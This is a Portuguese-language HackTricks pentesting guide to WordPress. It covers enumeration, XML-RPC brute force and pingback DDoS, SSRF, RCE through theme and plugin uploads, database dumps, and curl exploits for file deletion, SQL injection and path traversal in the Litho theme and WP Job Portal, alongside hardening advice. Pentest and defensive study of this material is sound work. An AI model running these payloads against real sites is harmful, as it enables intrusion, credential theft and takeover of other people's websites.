26 KiB
Wordpress
{{#include ../../banners/hacktricks-training.md}}
Informações Básicas
-
Arquivos enviados vão para:
http://10.10.10.10/wp-content/uploads/2018/08/a.txt
-
Os arquivos de temas podem ser encontrados em /wp-content/themes/, então se você alterar algum php do tema para obter RCE, provavelmente usará esse caminho. Por exemplo: Usando o tema twentytwelve você pode acessar o arquivo 404.php em: /wp-content/themes/twentytwelve/404.php
-
Outra URL útil pode ser: /wp-content/themes/default/404.php
-
No wp-config.php você pode encontrar a senha root do banco de dados.
-
Caminhos de login padrão para verificar: /wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/
Arquivos Principais do WordPress
index.php
license.txt
contém informações úteis, como a versão do WordPress instalada.wp-activate.php
é usado para o processo de ativação por e-mail ao configurar um novo site WordPress.- Pastas de login (podem ser renomeadas para ocultá-las):
/wp-admin/login.php
/wp-admin/wp-login.php
/login.php
/wp-login.php
xmlrpc.php
é um arquivo que representa um recurso do WordPress que permite que dados sejam transmitidos com HTTP atuando como o mecanismo de transporte e XML como o mecanismo de codificação. Esse tipo de comunicação foi substituído pela REST API do WordPress.- A pasta
wp-content
é o diretório principal onde plugins e temas são armazenados. wp-content/uploads/
é o diretório onde quaisquer arquivos enviados para a plataforma são armazenados.wp-includes/
Este é o diretório onde arquivos principais são armazenados, como certificados, fontes, arquivos JavaScript e widgets.wp-sitemap.xml
Nas versões do WordPress 5.5 e superiores, o WordPress gera um arquivo XML de sitemap com todas as postagens públicas e tipos de postagens e taxonomias publicamente consultáveis.
Pós-exploração
- O arquivo
wp-config.php
contém informações necessárias para o WordPress se conectar ao banco de dados, como o nome do banco de dados, host do banco de dados, nome de usuário e senha, chaves de autenticação e sais, e o prefixo da tabela do banco de dados. Este arquivo de configuração também pode ser usado para ativar o modo DEBUG, que pode ser útil na solução de problemas.
Permissões de Usuários
- Administrador
- Editor: Publica e gerencia suas postagens e as de outros
- Autor: Publica e gerencia suas próprias postagens
- Colaborador: Escreve e gerencia suas postagens, mas não pode publicá-las
- Assinante: Navega pelas postagens e edita seu perfil
Enumeração Passiva
Obter versão do WordPress
Verifique se você pode encontrar os arquivos /license.txt
ou /readme.html
Dentro do código-fonte da página (exemplo de https://wordpress.org/support/article/pages/):
- grep
curl https://victim.com/ | grep 'content="WordPress'
meta name
- Arquivos de link CSS
- Arquivos JavaScript
Obter Plugins
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
Obter Temas
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
Extrair versões em geral
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
Enumeração ativa
Plugins e Temas
Você provavelmente não conseguirá encontrar todos os Plugins e Temas possíveis. Para descobrir todos eles, você precisará forçar ativamente uma lista de Plugins e Temas (esperançosamente para nós, existem ferramentas automatizadas que contêm essas listas).
Usuários
- ID Brute: Você obtém usuários válidos de um site WordPress forçando os IDs dos usuários:
curl -s -I -X GET http://blog.example.com/?author=1
Se as respostas forem 200 ou 30X, isso significa que o id é válido. Se a resposta for 400, então o id é inválido.
- wp-json: Você também pode tentar obter informações sobre os usuários fazendo consultas:
curl http://blog.example.com/wp-json/wp/v2/users
Outro endpoint /wp-json/
que pode revelar algumas informações sobre os usuários é:
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
Note que este endpoint expõe apenas usuários que fizeram uma postagem. Somente informações sobre os usuários que têm esse recurso ativado serão fornecidas.
Também note que /wp-json/wp/v2/pages pode vazar endereços IP.
- Enumeração de nomes de usuário de login: Ao fazer login em
/wp-login.php
, a mensagem é diferente se o nome de usuário existe ou não.
XML-RPC
Se xml-rpc.php
estiver ativo, você pode realizar um ataque de força bruta de credenciais ou usá-lo para lançar ataques DoS a outros recursos. (Você pode automatizar esse processo usando isso por exemplo).
Para ver se está ativo, tente acessar /xmlrpc.php e envie esta solicitação:
Verificar
<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>
Força Bruta de Credenciais
wp.getUserBlogs
, wp.getCategories
ou metaWeblog.getUsersBlogs
são alguns dos métodos que podem ser usados para forçar credenciais. Se você conseguir encontrar algum deles, pode enviar algo como:
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>pass</value></param>
</params>
</methodCall>
A mensagem "Nome de usuário ou senha incorretos" dentro de uma resposta de código 200 deve aparecer se as credenciais não forem válidas.
Usando as credenciais corretas, você pode fazer o upload de um arquivo. Na resposta, o caminho aparecerá (https://gist.github.com/georgestephanis/5681982)
<?xml version='1.0' encoding='utf-8'?>
<methodCall>
<methodName>wp.uploadFile</methodName>
<params>
<param><value><string>1</string></value></param>
<param><value><string>username</string></value></param>
<param><value><string>password</string></value></param>
<param>
<value>
<struct>
<member>
<name>name</name>
<value><string>filename.jpg</string></value>
</member>
<member>
<name>type</name>
<value><string>mime/type</string></value>
</member>
<member>
<name>bits</name>
<value><base64><![CDATA[---base64-encoded-data---]]></base64></value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>
Também há uma maneira mais rápida de forçar credenciais usando system.multicall
, pois você pode tentar várias credenciais na mesma solicitação:

Bypass 2FA
Este método é destinado a programas e não a humanos, e é antigo, portanto não suporta 2FA. Assim, se você tiver credenciais válidas, mas a entrada principal estiver protegida por 2FA, você pode ser capaz de abusar do xmlrpc.php para fazer login com essas credenciais contornando 2FA. Note que você não poderá realizar todas as ações que pode fazer através do console, mas ainda pode conseguir chegar ao RCE, como Ippsec explica em https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s
DDoS ou varredura de portas
Se você conseguir encontrar o método pingback.ping na lista, pode fazer o Wordpress enviar uma solicitação arbitrária para qualquer host/porta.
Isso pode ser usado para pedir milhares de sites Wordpress para acessar uma localização (causando assim um DDoS nessa localização) ou você pode usá-lo para fazer o Wordpress escanear alguma rede interna (você pode indicar qualquer porta).
<methodCall>
<methodName>pingback.ping</methodName>
<params><param>
<value><string>http://<YOUR SERVER >:<port></string></value>
</param><param><value><string>http://<SOME VALID BLOG FROM THE SITE ></string>
</value></param></params>
</methodCall>
Se você receber faultCode com um valor maior que 0 (17), isso significa que a porta está aberta.
Dê uma olhada no uso de system.multicall
na seção anterior para aprender como abusar desse método para causar DDoS.
DDoS
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://target/</string></value></param>
<param><value><string>http://yoursite.com/and_some_valid_blog_post_url</string></value></param>
</params>
</methodCall>
wp-cron.php DoS
Este arquivo geralmente existe na raiz do site Wordpress: /wp-cron.php
Quando este arquivo é acessado, uma consulta MySQL "pesada" é realizada, então pode ser usado por atacantes para causar um DoS.
Além disso, por padrão, o wp-cron.php
é chamado em cada carregamento de página (sempre que um cliente solicita qualquer página do Wordpress), o que em sites de alto tráfego pode causar problemas (DoS).
É recomendado desativar o Wp-Cron e criar um cronjob real dentro do host que execute as ações necessárias em um intervalo regular (sem causar problemas).
/wp-json/oembed/1.0/proxy - SSRF
Tente acessar https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net e o site Wordpress pode fazer uma solicitação para você.
Esta é a resposta quando não funciona:
SSRF
{{#ref}} https://github.com/t0gu/quickpress/blob/master/core/requests.go {{#endref}}
Esta ferramenta verifica se o methodName: pingback.ping e para o caminho /wp-json/oembed/1.0/proxy e se existir, tenta explorá-los.
Automatic Tools
cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin"
Obter acesso sobrescrevendo um bit
Mais do que um ataque real, isso é uma curiosidade. NO CTF https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man você poderia inverter 1 bit de qualquer arquivo do wordpress. Assim, você poderia inverter a posição 5389
do arquivo /var/www/html/wp-includes/user.php
para NOP a operação NOT (!
).
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(
Painel RCE
Modificando um php do tema usado (credenciais de administrador necessárias)
Aparência → Editor de Tema → Template 404 (à direita)
Altere o conteúdo para um shell php:
Pesquise na internet como você pode acessar essa página atualizada. Neste caso, você deve acessar aqui: http://10.11.1.234/wp-content/themes/twentytwelve/404.php
MSF
Você pode usar:
use exploit/unix/webapp/wp_admin_shell_upload
para obter uma sessão.
Plugin RCE
Plugin PHP
Pode ser possível fazer upload de arquivos .php como um plugin.
Crie seu backdoor em php usando, por exemplo:
Em seguida, adicione um novo plugin:
Faça o upload do plugin e pressione Instalar Agora:
Clique em Procced:
Provavelmente isso não fará nada aparentemente, mas se você for para Mídia, verá seu shell carregado:
Acesse-o e você verá a URL para executar o reverse shell:
Fazendo upload e ativando plugin malicioso
Este método envolve a instalação de um plugin malicioso conhecido por ser vulnerável e pode ser explorado para obter um web shell. Este processo é realizado através do painel do WordPress da seguinte forma:
- Aquisição do Plugin: O plugin é obtido de uma fonte como o Exploit DB como aqui.
- Instalação do Plugin:
- Navegue até o painel do WordPress, em seguida vá para
Painel > Plugins > Fazer Upload do Plugin
. - Faça o upload do arquivo zip do plugin baixado.
- Ativação do Plugin: Uma vez que o plugin esteja instalado com sucesso, ele deve ser ativado através do painel.
- Exploração:
- Com o plugin "reflex-gallery" instalado e ativado, ele pode ser explorado, pois é conhecido por ser vulnerável.
- O framework Metasploit fornece um exploit para essa vulnerabilidade. Carregando o módulo apropriado e executando comandos específicos, uma sessão meterpreter pode ser estabelecida, concedendo acesso não autorizado ao site.
- É importante notar que este é apenas um dos muitos métodos para explorar um site WordPress.
O conteúdo inclui auxílios visuais que retratam os passos no painel do WordPress para instalar e ativar o plugin. No entanto, é importante notar que explorar vulnerabilidades dessa maneira é ilegal e antiético sem a devida autorização. Essas informações devem ser usadas de forma responsável e apenas em um contexto legal, como testes de penetração com permissão explícita.
Para passos mais detalhados, confira: https://www.hackingarticles.in/wordpress-reverse-shell/
De XSS a RCE
- WPXStrike: WPXStrike é um script projetado para escalar uma vulnerabilidade de Cross-Site Scripting (XSS) para Remote Code Execution (RCE) ou outras vulnerabilidades críticas no WordPress. Para mais informações, confira este post. Ele fornece suporte para versões do WordPress 6.X.X, 5.X.X e 4.X.X e permite:
- Escalação de Privilégios: Cria um usuário no WordPress.
- (RCE) Upload de Plugin Personalizado (backdoor): Faça o upload do seu plugin personalizado (backdoor) para o WordPress.
- (RCE) Edição de Plugin Integrado: Edite Plugins Integrados no WordPress.
- (RCE) Edição de Tema Integrado: Edite Temas Integrados no WordPress.
- (Personalizado) Exploits Personalizados: Exploits Personalizados para Plugins/Temas de Terceiros do WordPress.
Pós Exploração
Extraia nomes de usuários e senhas:
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"
Alterar a senha do administrador:
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"
Pentest de Plugins do Wordpress
Superfície de Ataque
Saber como um plugin do Wordpress pode expor funcionalidades é fundamental para encontrar vulnerabilidades em sua funcionalidade. Você pode descobrir como um plugin pode expor funcionalidades nos seguintes pontos e alguns exemplos de plugins vulneráveis em este post do blog.
wp_ajax
Uma das maneiras que um plugin pode expor funções para os usuários é através de manipuladores AJAX. Estes podem conter bugs de lógica, autorização ou autenticação. Além disso, é bastante comum que essas funções baseiem tanto a autenticação quanto a autorização na existência de um nonce do Wordpress que qualquer usuário autenticado na instância do Wordpress pode ter (independentemente de seu papel).
Estas são as funções que podem ser usadas para expor uma função em um plugin:
add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
O uso de nopriv
torna o endpoint acessível a qualquer usuário (mesmo não autenticados).
Caution
Além disso, se a função estiver apenas verificando a autorização do usuário com a função
wp_verify_nonce
, essa função está apenas verificando se o usuário está logado, geralmente não está verificando o papel do usuário. Assim, usuários com baixos privilégios podem ter acesso a ações de altos privilégios.
- REST API
Também é possível expor funções do WordPress registrando uma API REST usando a função register_rest_route
:
register_rest_route(
$this->namespace, '/get/', array(
'methods' => WP_REST_Server::READABLE,
'callback' => array($this, 'getData'),
'permission_callback' => '__return_true'
)
);
O permission_callback
é um callback para uma função que verifica se um determinado usuário está autorizado a chamar o método da API.
Se a função embutida __return_true
for usada, ela simplesmente ignorará a verificação de permissões do usuário.
- Acesso direto ao arquivo php
Claro, o Wordpress usa PHP e os arquivos dentro dos plugins são acessíveis diretamente pela web. Assim, caso um plugin esteja expondo alguma funcionalidade vulnerável que é acionada apenas acessando o arquivo, ele será explorável por qualquer usuário.
Exclusão Arbitrária de Arquivos Não Autenticada via wp_ajax_nopriv (Tema Litho <= 3.0)
Os temas e plugins do WordPress frequentemente expõem manipuladores AJAX através dos hooks wp_ajax_
e wp_ajax_nopriv_
. Quando a variante nopriv é usada o callback se torna acessível por visitantes não autenticados, então qualquer ação sensível deve implementar adicionalmente:
- Uma verificação de capacidade (por exemplo,
current_user_can()
ou pelo menosis_user_logged_in()
), e - Um nonce CSRF validado com
check_ajax_referer()
/wp_verify_nonce()
, e - Sanitização / validação rigorosa de entrada.
O tema multipropósito Litho (< 3.1) esqueceu esses 3 controles na funcionalidade Remover Família de Fonte e acabou enviando o seguinte código (simplificado):
function litho_remove_font_family_action_data() {
if ( empty( $_POST['fontfamily'] ) ) {
return;
}
$fontfamily = str_replace( ' ', '-', $_POST['fontfamily'] );
$upload_dir = wp_upload_dir();
$srcdir = untrailingslashit( wp_normalize_path( $upload_dir['basedir'] ) ) . '/litho-fonts/' . $fontfamily;
$filesystem = Litho_filesystem::init_filesystem();
if ( file_exists( $srcdir ) ) {
$filesystem->delete( $srcdir, FS_CHMOD_DIR );
}
die();
}
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
Problemas introduzidos por este trecho:
- Acesso não autenticado – o gancho
wp_ajax_nopriv_
está registrado. - Sem verificação de nonce / capacidade – qualquer visitante pode acessar o endpoint.
- Sem sanitização de caminho – a string
fontfamily
controlada pelo usuário é concatenada a um caminho de sistema de arquivos sem filtragem, permitindo a clássica travessia../../
.
Exploração
Um atacante pode deletar qualquer arquivo ou diretório abaixo do diretório base de uploads (normalmente <wp-root>/wp-content/uploads/
) enviando uma única solicitação HTTP POST:
curl -X POST https://victim.com/wp-admin/admin-ajax.php \
-d 'action=litho_remove_font_family_action_data' \
-d 'fontfamily=../../../../wp-config.php'
Porque wp-config.php
está fora de uploads, quatro sequências de ../
são suficientes em uma instalação padrão. Deletar wp-config.php
força o WordPress a entrar no assistente de instalação na próxima visita, permitindo uma tomada total do site (o atacante apenas fornece uma nova configuração de DB e cria um usuário admin).
Outros alvos impactantes incluem arquivos .php
de plugins/temas (para quebrar plugins de segurança) ou regras de .htaccess
.
Lista de verificação de detecção
- Qualquer callback
add_action( 'wp_ajax_nopriv_...')
que chama helpers de sistema de arquivos (copy()
,unlink()
,$wp_filesystem->delete()
, etc.). - Concatenação de entrada de usuário não sanitizada em caminhos (procure por
$_POST
,$_GET
,$_REQUEST
). - Ausência de
check_ajax_referer()
ecurrent_user_can()
/is_user_logged_in()
.
Fortalecimento
function secure_remove_font_family() {
if ( ! is_user_logged_in() ) {
wp_send_json_error( 'forbidden', 403 );
}
check_ajax_referer( 'litho_fonts_nonce' );
$fontfamily = sanitize_file_name( wp_unslash( $_POST['fontfamily'] ?? '' ) );
$srcdir = trailingslashit( wp_upload_dir()['basedir'] ) . 'litho-fonts/' . $fontfamily;
if ( ! str_starts_with( realpath( $srcdir ), realpath( wp_upload_dir()['basedir'] ) ) ) {
wp_send_json_error( 'invalid path', 400 );
}
// … proceed …
}
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'secure_remove_font_family' );
// 🔒 NO wp_ajax_nopriv_ registration
Tip
Sempre trate qualquer operação de escrita/exclusão no disco como privilegiada e verifique duas vezes: • Autenticação • Autorização • Nonce • Sanitização de entrada • Contenção de caminho (por exemplo, via
realpath()
maisstr_starts_with()
).
Proteção do WordPress
Atualizações Regulares
Certifique-se de que o WordPress, plugins e temas estão atualizados. Também confirme que a atualização automática está habilitada no wp-config.php:
define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );
Também, instale apenas plugins e temas do WordPress confiáveis.
Plugins de Segurança
Outras Recomendações
- Remova o usuário admin padrão
- Use senhas fortes e 2FA
- Revise periodicamente as permissões dos usuários
- Limite tentativas de login para prevenir ataques de Força Bruta
- Renomeie o arquivo
wp-admin.php
e permita acesso apenas internamente ou de certos endereços IP.
Injeção SQL não autenticada via validação insuficiente (WP Job Portal <= 2.3.2)
O plugin de recrutamento WP Job Portal expôs uma tarefa savecategory que, em última análise, executa o seguinte código vulnerável dentro de modules/category/model.php::validateFormData()
:
$category = WPJOBPORTALrequest::getVar('parentid');
$inquery = ' ';
if ($category) {
$inquery .= " WHERE parentid = $category "; // <-- direct concat ✗
}
$query = "SELECT max(ordering)+1 AS maxordering FROM "
. wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later
Problemas introduzidos por este trecho:
- Entrada do usuário não sanitizada –
parentid
vem diretamente da requisição HTTP. - Concatenação de strings dentro da cláusula WHERE – sem
is_numeric()
/esc_sql()
/ declaração preparada. - Acessibilidade não autenticada – embora a ação seja executada através de
admin-post.php
, a única verificação em vigor é um nonce CSRF (wp_verify_nonce()
), que qualquer visitante pode recuperar de uma página pública que incorpora o shortcode[wpjobportal_my_resumes]
.
Exploração
- Pegue um nonce fresco:
curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4
- Injete SQL arbitrário abusando de
parentid
:
curl -X POST https://victim.com/wp-admin/admin-post.php \
-d 'task=savecategory' \
-d '_wpnonce=<nonce>' \
-d 'parentid=0 OR 1=1-- -' \
-d 'cat_title=pwn' -d 'id='
A resposta revela o resultado da consulta injetada ou altera o banco de dados, provando SQLi.
Download de Arquivo Arbitrário Não Autenticado / Traversal de Caminho (WP Job Portal <= 2.3.2)
Outra tarefa, downloadcustomfile, permitia que visitantes baixassem qualquer arquivo no disco via traversal de caminho. O ponto vulnerável está localizado em modules/customfield/model.php::downloadCustomUploadedFile()
:
$file = $path . '/' . $file_name;
...
echo $wp_filesystem->get_contents($file); // raw file output
$file_name
é controlado pelo atacante e concatenado sem sanitização. Novamente, a única barreira é um CSRF nonce que pode ser obtido na página de currículo.
Exploração
curl -G https://victim.com/wp-admin/admin-post.php \
--data-urlencode 'task=downloadcustomfile' \
--data-urlencode '_wpnonce=<nonce>' \
--data-urlencode 'upload_for=resume' \
--data-urlencode 'entity_id=1' \
--data-urlencode 'file_name=../../../wp-config.php'
O servidor responde com o conteúdo de wp-config.php
, vazando credenciais do banco de dados e chaves de autenticação.
Referências
- Vulnerabilidade de Exclusão de Arquivo Arbitrário Não Autenticada no Tema Litho
- Múltiplas Vulnerabilidades Críticas Corrigidas no Plugin WP Job Portal
{{#include ../../banners/hacktricks-training.md}}